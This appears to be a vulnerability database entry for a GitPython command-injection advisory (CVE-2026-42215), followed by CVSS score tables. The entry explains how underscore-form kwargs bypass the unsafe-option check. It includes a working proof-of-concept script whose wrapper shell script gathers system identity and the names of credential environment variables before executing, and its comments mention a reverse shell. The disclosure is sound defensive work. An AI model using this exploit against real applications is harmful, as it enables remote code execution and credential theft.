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| Vulnerability ID | VCID-eyn3-gekx-bbe3 |
| Aliases |
CVE-2026-42215
GHSA-rpm5-65cw-6hj4 |
| Summary | GitPython has Command Injection via Git options bypass ### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError # Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") # Setup: this wrapper is just to demo things you can do, not required for the exploit to work # you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victim) remote = repo.remote("origin") # the literal Git option name is properly blocked. try: remote.fetch(**{"upload-pack": wrapper}) print("control=unexpected_success") except UnsafeOptionError: print("control=blocked") # this is the actual vulnerability # you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact # if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(upload_pack=wrapper) # Proof: the helper ran as the GitPython host process. print("proof_exists", os.path.exists(proof), proof) print(open(proof).read()) ``` 3. Expected result: - The script prints `control=blocked` - The script prints `proof_exists True ...` - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names Example output: ```bash GitPython % python3 test.py control=blocked proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt code_exec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSH_AUTH_SOCK=<redacted> PATH=<redacted> HOME=<redacted> ``` This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`. ### Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with `**kwargs` - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs ) What the attacker needs to control: - A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()` From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Percentile | 0.09072 |
| EPSS Score | 0.0003 |
| Published At | June 5, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-06-04T16:52:47.738736+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-rpm5-65cw-6hj4/GHSA-rpm5-65cw-6hj4.json | 38.6.0 |